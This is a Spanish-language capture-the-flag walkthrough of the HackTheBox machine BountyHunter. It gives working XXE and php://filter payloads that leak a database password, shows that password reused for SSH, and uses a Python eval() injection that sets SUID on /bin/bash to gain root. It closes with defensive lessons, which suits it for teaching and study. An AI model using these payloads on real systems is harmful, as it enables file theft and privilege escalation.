the_open_door
café
ESEN

BountyHunter

HackTheBoxFácilLinux10.10.11.100

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#xxe#xml#php-filter#source-leak#credential-reuse#ssh#sudo#python#eval#rce
TL;DR. BountyHunter es una máquina Linux fácil con un formulario que envía datos en XML sin sanear. Eso habilita una inyección de entidad externa XML (XXE) que lee ficheros del sistema; con el wrapper php://filter sacamos el código de db.php y, con él, una contraseña. Esa contraseña sirve por reutilización para entrar por SSH como development. Para root, un sudo sobre un validador de tickets en Python que usa eval() sobre la entrada del usuario permite ejecutar código arbitrario y poner el SUID a /bin/bash.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping 10.10.11.100

ping a 10.10.11.100: ttl=63 y 75% de pérdida de paquetes

64 bytes from 10.10.11.100: icmp_seq=1 ttl=63 time=203 ms
^C
--- 10.10.11.100 ping statistics ---
4 packets transmitted, 1 received, 75% packet loss, time 3028ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Conviene fijarse en el 75% de pérdida: de cuatro paquetes solo vuelve uno, y con 203 ms de latencia. No es que la máquina esté caída, es la VPN del laboratorio. Ese dato importa porque justifica usar -Pn en los escaneos: si nmap tuviera que decidir si el host está vivo a partir de un ping tan poco fiable, podría descartarlo antes de escanear nada.

Escaneo de puertos

Un SYN scan a los 65535 puertos deja la superficie más pequeña posible:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.100 -oG scan

nmap -p- en BountyHunter: solo 22 y 80 abiertos

Not shown: 50909 filtered tcp ports (no-response), 14624 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Raw packets sent: 123090 (5.416MB) | Rcvd: 18547 (741.888KB)

Solo dos puertos, y esa escasez ya es información: sin SMB, sin bases de datos y sin servicios auxiliares, todo el vector de entrada tiene que estar en el 80, porque contra un SSH actualizado y sin credenciales no hay nada que hacer.

La línea Not shown merece una lectura. Los puertos cerrados aparecen repartidos en dos categorías: 50909 filtered (no-response) y 14624 closed (reset). Que convivan las dos indica un filtrado selectivo por delante del host: a la mayoría de puertos nadie contesta (los paquetes se descartan en silencio), mientras que otros devuelven un RST limpio. El syn-ack ttl 63 de la columna REASON confirma además que la respuesta viene del mismo salto que el ping.

El -sCV sobre esos dos pone versiones:

extractPorts, una función del .zshrc, resume el fichero -oG y deja los puertos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo de Bountyhunter: IP 10.10.11.100 y puertos abiertos 22,80, copiados al portapapeles

Extracting information ...
IP Address: 10.10.11.100
Open ports: 22,80

Ports copied to clipboard
nmap -p22,80 -sCV 10.10.11.100

nmap -sCV: OpenSSH 8.2p1 y Apache 2.4.41 sobre Ubuntu

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OpenSSH 8.2p1 y Apache 2.4.41 son las versiones que venían de serie en Ubuntu 20.04, ambas sin vulnerabilidades explotables de forma remota. Es decir, ninguna de las dos va a ser la vía de entrada: el fallo estará en la aplicación que sirve el Apache, no en el Apache.

TCP 80 - Enumeración web

whatweb describe una web estática corriente:

whatweb 10.10.11.100

whatweb sobre 10.10.11.100: Apache 2.4.41, Bootstrap, JQuery

http://10.10.11.100 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.100], JQuery, Script,
Title[Bounty Hunters]

Wappalyzer coincide y no añade nada nuevo:

Wappalyzer: Apache 2.4.41, Ubuntu, jQuery y Bootstrap

Aquí hay una ausencia que dice mucho: ni una sola herramienta menciona PHP. La plantilla es Bootstrap con jQuery, o sea HTML estático, y sin embargo la máquina acabará girando entera alrededor de ficheros .php. Es el recordatorio de que estos identificadores leen cabeceras y firmas del cliente, no el contenido del servidor.

Un barrido con dirsearch encuentra el primer hilo:

dirsearch -u http://10.10.11.100/ --exclude-status=403,404

dirsearch: /db.php responde 200 con 0 bytes

[00:00:35] 301 -  309B  - /js       ->  http://10.10.11.100/js/
[00:00:58] 301 -  313B  - /assets   ->  http://10.10.11.100/assets/
[00:01:05] 301 -  310B  - /css      ->  http://10.10.11.100/css/
[00:01:06] 200 -    0B  - /db.php
[00:01:31] 301 -  316B  - /resources ->  http://10.10.11.100/resources/

/db.php devuelve 200 con 0 bytes. Esa combinación es exactamente lo que interesa: el fichero existe (no es un 404) pero no imprime nada. Un db.php que no produce salida es, casi con total seguridad, un fichero de configuración que solo define variables y se incluye desde otro sitio. Y las variables de un db.php son, por definición, credenciales de base de datos.

El mismo barrido con gobuster sirve de contraste instructivo:

gobuster dir -u http://10.10.11.100 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404

gobuster encuentra los directorios y /server-status, pero NO db.php

/assets         (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/css            (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/resources      (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/js             (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
/server-status  (Status: 403) [Size: 277]

Gobuster no encuentra db.php. No es un fallo de la herramienta ni del diccionario: es que se lanzó sin -x php, así que nunca llegó a pedir esa extensión. dirsearch la incluye por defecto (php, aspx, jsp, html, js aparece en su cabecera) y por eso sí dio con el fichero. La conclusión práctica es que dos fuzzers sobre el mismo objetivo pueden dar resultados incompatibles por un único parámetro, y que conviene mirar qué extensiones prueba cada uno antes de fiarse de un resultado negativo.

Abrir db.php en el navegador confirma lo que decía el 0B:

db.php se sirve como una página completamente en blanco

Página en blanco. El servidor ejecuta el PHP y devuelve su salida, que es vacía, en vez de mostrar el código. Ese es el problema a resolver más adelante: hace falta una forma de leer el fichero sin que pase por el intérprete. Queda anotado.

El portal que los fuzzers no encontraron

Ninguna de las dos herramientas devolvió nada más allá de los directorios de recursos, así que toca hacer lo que un fuzzer no hace: leer la página. El código fuente de la portada lo enseña en la barra de navegación:

view-source de la portada: el nav enlaza a portal.php

<li class="nav-item"><a class="nav-link" href="#about">About</a></li>
<li class="nav-item"><a class="nav-link" href="#contact">Contact</a></li>
<li class="nav-item"><a class="nav-link" href="portal.php">Portal</a></li>

portal.php, enlazado a la vista en el menú, y ausente de la salida de los dos fuzzers. Es la lección más barata de toda la máquina: el contenido enlazado no necesita adivinarse, y un barrido de diccionario nunca sustituye a mirar el HTML.

la barra de navegación de la portada con la entrada PORTAL

El portal es una sola línea, y encima avisa de en qué estado está:

portal.php: "Portal under development. Go here to test the bounty tracker."

Portal under development. Go here to test the bounty tracker.

Under development. Ese aviso es la mejor pista de la caja: código a medio hacer, sin revisar y sin endurecer. El enlace lleva a log_submit.php, un formulario de cuatro campos que, al enviarlo, refleja lo escrito y avisa de que la base de datos aún no está lista:

el formulario Bounty Report System - Beta refleja los cuatro campos enviados

Bounty Report System - Beta
If DB were ready, would have added:
   Title:  test
   CWE:    test
   Score:  test
   Reward: test

Que los datos vuelvan reflejados invita a probar XSS, y es lo primero que se intentó: <script>alert("hola")</script> en los cuatro campos. No ejecuta nada, el navegador recibe el texto dentro de una celda de tabla y lo pinta tal cual. Pero ese intento fallido acaba siendo el que abre la máquina, porque para verlo hay que interceptar la petición:

Burp: el POST a tracker_diRbPr00f314.php lleva un parámetro data en Base64 que decodifica a XML

POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded

data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4...

Tres hallazgos de una sola captura. Primero, el formulario no envía a log_submit.php: hay una llamada AJAX (X-Requested-With: XMLHttpRequest) a un endpoint con nombre no adivinable, tracker_diRbPr00f314.php, que ningún diccionario iba a encontrar jamás. Segundo, todo viaja en un único parámetro data codificado en Base64. Y tercero, al descodificarlo aparece lo que de verdad importa:

<?xml version="1.0" encoding="ISO-8859-1"?>
    <bugreport>
    <title><script>alert("hola")</script></title>
    <cwe><script>alert("hola")</script></cwe>
    <cvss><script>alert("hola")</script></cvss>
    <reward><script>alert("hola")</script></reward>
    </bugreport>

El servidor procesa XML. El prefijo PD94bWwg del Base64 lo delataba incluso antes de descodificar: son los caracteres <?xml codificados, y merece la pena reconocer esas firmas de un vistazo (PD9waHA es <?php, PK es un ZIP). Un parámetro Base64 que empieza por PD94bWwg es un documento XML disfrazado, y ahí el XSS deja de ser el ataque interesante.

Acceso como development

XXE en el formulario de bug report

Que los datos viajen en XML y se procesen en el servidor invita a probar XML External Entity (XXE): declaramos una entidad externa que apunta a un fichero local y la referenciamos en un campo que se refleje. Tras descodificar el Base64, el cuerpo es así, y la entidad &myFile; se sustituye por el contenido del fichero:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<bugreport>
  <title>&myFile;</title>
  <cwe>x</cwe><cvss>x</cvss><reward>x</reward>
</bugreport>

Reenviando la petición (con el XML re-codificado en Base64), la respuesta filtra /etc/passwd: XXE confirmada.

la respuesta del XXE devuelve el contenido de /etc/passwd

Salir de Burp: el mismo ataque desde la terminal

Burp vale para descubrir el vector, pero para iterar sobre él (probar rutas, ajustar el payload, filtrar la salida) es mucho más cómodo el shell. El payload vive en un fichero, se codifica al vuelo y se manda con curl. Antes conviene verificar la ida y vuelta del Base64, porque un salto de línea de más rompe el XML y el fallo se confunde con "la vulnerabilidad no existe":

cat xml.xml
echo -ne "PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4..." | base64 -d

el Base64 descodificado devuelve exactamente el XML original

$ cat xml.xml
<?xml  version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
        <bugreport>
        <title>&myFile;</title>
        <cwe>hola</cwe>
        <cvss>hola</cvss>
        <reward>hola</reward>
        </bugreport>

$ echo -ne "PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4..." | base64 -d
<?xml  version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
        <bugreport>
        <title>&myFile;</title>
        <cwe>hola</cwe>
        <cvss>hola</cvss>
        <reward>hola</reward>
        </bugreport>

Comprobado que el viaje de ida y vuelta es limpio, la petición completa cabe en tres líneas:

data=$(cat xml.xml | base64)
curl -X POST http://10.10.11.100/tracker_diRbPr00f314.php \
  --data-urlencode "data=$data" --compressed | grep '/bin/bash'

curl reproduce el XXE y grep /bin/bash deja solo las cuentas con shell

<td>root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bash

Dos detalles de esa línea. El --data-urlencode es obligatorio y no cosmético: el Base64 usa + y =, que en un cuerpo application/x-www-form-urlencoded significan "espacio" y "separador", así que sin escapar llegaría un payload corrupto. Y el grep '/bin/bash' no es por comodidad, es el filtro que convierte un /etc/passwd de cuarenta líneas en la única información útil: de todas las cuentas del sistema, solo root y development tienen shell interactiva. Un usuario llamado development en una máquina cuyo portal avisa de que está under development es el objetivo evidente.

php://filter para leer el código de db.php

/etc/passwd confirma el vector, pero no da credenciales. El objetivo real es db.php: si pudiéramos leer su código fuente, probablemente contendría las credenciales de la base de datos. El problema es que pedir el fichero .php directamente haría que el servidor lo ejecute en lugar de mostrarlo. La solución es el wrapper php://filter, que aplica una transformación (Base64) al fichero antes de incluirlo, de modo que recibimos el código fuente codificado en lugar de su salida:

<!DOCTYPE foo [<!ENTITY myFile SYSTEM
  "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php">]>

La ruta /var/www/html/db.php no se adivina, se deduce: db.php cuelga de la raíz web (lo dijo dirsearch) y /var/www/html es el DocumentRoot por defecto de Apache en Debian y Ubuntu, que es exactamente la distribución que declaró el -sCV.

el XXE con php://filter devuelve db.php codificado en Base64 dentro de la celda Title

If DB were ready, would have added:
 <td>Title:</td>
 <td>PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgok...</td>
 <td>CWE:</td><td>hola</td>

El blob empieza por PD9waHA, que es <?php en Base64: la señal de que esta vez sí ha vuelto código y no la salida vacía de antes. Descodificándolo aparece el fichero entero:

db.php descodificado revela la contraseña de la base de datos

<?php
// TODO -> Implement login system with the database.
$dbserver   = "localhost";
$dbname     = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser   = "test";
?>

El fichero confirma la sospecha del 0B: son cinco asignaciones y nada más, sin una sola línea que imprima. Y ese // TODO -> Implement login system with the database. cierra el círculo con el under development del portal: las credenciales están escritas para un sistema de login que nunca se llegó a implementar. Nadie las usó nunca, nadie las rotó, y siguen ahí.

Reutilización de credenciales por SSH

El grep '/bin/bash' de antes ya había dejado a development como el único candidato con shell. La contraseña de la base de datos es justo el tipo de secreto que la gente reutiliza, y aquí hay un motivo extra para creerlo: si el login nunca se implementó, esa clave no llegó a ser "la de la aplicación", se quedó siendo la que su autor tenía en la cabeza. La probamos por SSH:

ssh development@10.10.11.100

acceso SSH como development reutilizando la contraseña de db.php; lectura de user.txt

Funciona, y leemos la primera flag:

development@bountyhunter:~$ cat /home/development/user.txt
38551240e37b5002363587b271136a69

Shell como root

sudo sobre un validador de tickets en Python

En el home de development hay un contract.txt que menciona una "herramienta interna" de Skytrain Inc cuyos tickets fallan la validación. La pista lleva a sudo -l:

contract.txt y sudo -l muestran el validador de tickets ejecutable como root

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Podemos ejecutar ese script como root sin contraseña. Leemos su código:

el código de ticketValidator.py usa eval() sobre el código del ticket

El script lee un fichero .md y valida un ticket en varios pasos: la primera línea debe ser # Skytrain Inc, la segunda ## Ticket to, y debe existir una línea __Ticket Code:__. La línea siguiente es el código del ticket, y aquí está el fallo:

ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
    validationNumber = eval(x.replace("**", ""))
    if validationNumber > 100:
        return True

El script pasa la línea por eval(), que evalúa código Python arbitrario. Solo exige que el número inicial cumpla % 7 == 4. Conexión clave: si controlamos esa línea, controlamos lo que ejecuta eval() (inyección por eval).

eval() a SUID en /bin/bash

Creamos un ticket que pasa las validaciones y cuela una llamada a os.system. 109 cumple 109 % 7 == 4, y tras él un + y la carga útil; eval() ejecuta la suma y el comando, que pone el bit SUID a /bin/bash:

# Skytrain Inc
## Ticket to Rootville
__Ticket Code:__
**109+__import__('os').system('chmod u+s /bin/bash')**

Lanzamos el validador como root y, una vez /bin/bash tiene SUID, bash -p mantiene el EUID de root:

sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
bash -p

el ticket malicioso pone SUID a /bin/bash y bash -p da shell de root con root.txt

bash-5.0# id
uid=1000(development) gid=1000(development) euid=0(root) groups=1000(development)
bash-5.0# cat /root/root.txt
7a20e044a495cf531cd24deb956480c0

Cadena de ataque

Formulario de bug report (XML, :80)
   │  XXE → leer ficheros del sistema
   ▼
php://filter → código de db.php → contraseña m19RoAU0hP41A1sTsq6K
   │  reutilización de credenciales por SSH
   ▼
shell como development  →  user.txt
   │  sudo NOPASSWD ticketValidator.py → eval() sobre el ticket
   ▼
**109+__import__('os').system('chmod u+s /bin/bash')** → bash -p → root → root.txt

Lecciones aprendidas

  • Procesar XML sin deshabilitar las entidades externas es XXE. El parser resolvió una entidad SYSTEM y leyó ficheros del servidor. Hay que desactivar la resolución de entidades externas (libxml_disable_entity_loader, parsers seguros) en cualquier entrada XML.
  • php://filter convierte un LFI/XXE en robo de código fuente. Pedir un .php directamente lo ejecuta; con el wrapper Base64 se obtiene su código y, con él, los secretos embebidos como las credenciales de la BBDD.
  • No reutilices contraseñas entre servicios. La clave de la base de datos abrió SSH. Cada cuenta y servicio debe tener su propio secreto (reutilización de credenciales).
  • eval() sobre entrada del usuario es RCE. El validador confiaba en una operación aritmética, pero eval() ejecuta cualquier Python. Usar ast.literal_eval o un parser aritmético acotado, nunca eval() con datos externos (inyección por eval).
  • Un fuzzer no sustituye a leer el HTML. Ni dirsearch ni gobuster devolvieron portal.php, que estaba enlazado a la vista en el menú de la portada, y el endpoint real (tracker_diRbPr00f314.php) era directamente inadivinable: solo apareció interceptando la petición. El diccionario cubre lo oculto; el código fuente y el proxy cubren lo que la propia aplicación te está diciendo.
  • Dos fuzzers pueden contradecirse por un solo parámetro. dirsearch encontró db.php y gobuster no, porque este último se lanzó sin -x php. Antes de dar por bueno un resultado negativo, mirar qué extensiones probó la herramienta.
  • El intento fallido fue el que abrió la máquina. El XSS no ejecutó nada, pero para comprobarlo hubo que interceptar el envío, y ahí apareció el data= en Base64 con XML dentro. Aprender a leer las firmas de Base64 (PD94bWwg = <?xml, PD9waHA = <?php) ahorra el paso de descodificar para saber qué se está mirando.
  • "Under development" es una superficie de ataque. El portal lo avisaba y el // TODO de db.php lo confirmaba: un login a medio escribir dejó credenciales reales en un fichero de configuración que nadie volvió a tocar. El código sin terminar rara vez pasa por revisión, y casi nunca por rotación de secretos.
Cheatsheet de comandos 21 comandos

Repaso rápido